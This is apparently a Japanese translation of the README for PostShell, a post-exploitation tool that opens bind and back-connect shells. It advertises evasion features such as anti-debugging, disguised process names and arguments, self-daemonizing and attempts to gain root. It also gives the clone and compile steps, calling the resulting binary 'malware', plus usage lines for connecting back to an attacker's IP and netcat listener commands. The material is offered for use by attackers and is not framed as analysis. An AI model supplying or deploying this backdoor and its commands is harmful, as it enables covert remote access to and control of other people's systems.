PostShell

PostShellは、バインドシェルとバックコネクトシェルの両方を含むポストエクスプロイテーションシェルです。完全に対話型のTTYを作成し、ジョブ制御を可能にします。スタブサイズは約14kbで、任意のUnix系システムでコンパイルできます。

スクリーンショット

接続開始後のバナーとシェルとの対話。

なぜ従来のバックコネクト/バインドシェルを使わないのか？

PostShellは、攻撃者がPythonやPerlなどの依存関係に依存しにくくすることで、ポストエクスプロイテーションを容易にします。また、バックコネクトシェルとバインドシェルの両方を組み込んでいるため、ターゲットが発信接続を許可していない場合、オペレーターは単にバインドシェルを起動してリモートでマシンに接続できます。PostShellは、プロセス名と引数の両方が隠蔽されているため、従来のシェルよりも大幅に疑われにくくなっています。

特徴

• アンチデバッグ: ptraceがシェルにアタッチされていると検出された場合、終了します。
• プロセス名/スレッド名は隠蔽され、偽の名前がすべてのシステム引数とファイル名を上書きして、正当なプログラムのように見せかけます。
• TTY（疑似端末）が作成され、SSHで接続した場合と同じようにマシンを使用できます。
• バインドシェル/バックコネクトシェル: バインドシェルとバックコネクトの両方を作成できます。
• 小さなスタブサイズ: 非常に小さなスタブ（<14kb）が通常生成されます。
• 自動的にデーモン化
• GUID/UIDを0（root）に設定しようとします

はじめに

1. ダウンロード: git clone https://github.com/rek7/postshell
2. コンパイル: cd postshell && sh compile.sh これにより、"stub"というバイナリが作成されます。これがマルウェアです。

コマンド

$ ./stub
Bind Shell Usage: ./stub port
Back Connect Usage: ./stub ip port
$

使用例

バックコネクト:

$ ./stub 127.0.0.1 13377

バインドシェル:

$ ./stub 13377

Netcatを使用した接続の受信

バックコネクトの受信:

$ nc -vlp port

バインドシェルへの接続:

$ nc host port

今後の予定:

• ドメイン解決の追加